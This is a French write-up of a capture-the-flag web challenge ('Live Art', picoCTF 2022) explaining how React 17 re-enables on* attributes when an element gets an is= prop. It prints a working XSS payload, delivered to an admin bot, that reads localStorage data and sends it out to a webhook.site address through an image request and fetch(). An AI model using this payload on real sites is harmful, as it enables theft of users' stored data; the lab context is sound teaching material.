277 — Live Art — Web Exploitation¶
Writeup de Arnold-26, repris avec son autorisation. Source :
cylab-academy-writeups— challenge #277, résolu le 2026-11-27. Flags tronqués.
Catégorie : Web Exploitation · Challenge : #277 · Événement : picoCTF 2022
Énoncé¶
There's nothing quite as fun as drawing for an audience. So sign up for LiveArt today and show the world what you can do.
Flag : academy{...}
Cible : instance CyLab (http://<host>:<port>/), bot qui visite une URL fournie.
Hint : « The flag will be the admin's username/broadcast link, at the origin
http://localhost:4000/ » + https://html.spec.whatwg.org/multipage/custom-elements.html
La faille : React 17 + custom elements réactive les on*¶
La page /drawing/:page construit un <img> en passant les paramètres du hash à React via
{...params}. React 17 refuse normalement les attributs on* (protection contre ce type d'injection
d'attributs) — sauf quand l'élément est traité comme un custom element, ce qui arrive dès que
props.is est une chaîne (isCustomComponent() renvoie true). D'où l'indice du hint.
Payload envoyé au bot via POST /fan-mail {"url": ...} :
http://localhost:4000/drawing/x#src=/nope&is=x-a&onerror=
var f=localStorage.getItem('username');
new Image().src='https://webhook.site/<UUID>/?a='+encodeURIComponent(f);
fetch('https://webhook.site/<UUID>/?c='+encodeURIComponent(f))
is=x-a débloque l'onerror (l'image /nope échoue) → XS leak de localStorage.username, qui
contient le nom d'utilisateur admin (le flag). Le bot a bien accès Internet : webhook.site a reçu
la valeur trois fois, depuis 18.190.79.158.
Détail opérationnel¶
L'instance 277 passe toute seule en NOT_RUNNING au bout de 1-2 min : il faut
DELETE puis PUT /api/challenges/277/instance/ et utiliser le nouveau port affiché
(script _z_web_restart.py 277 fresh).
Leçon¶
Une protection framework (on* filtré) peut être désactivée par une option légitime du
framework (is=) : toujours vérifier les branches « custom element » / « dangerouslySetInnerHTML » /
« is » quand on cherche un XSS dans une app React.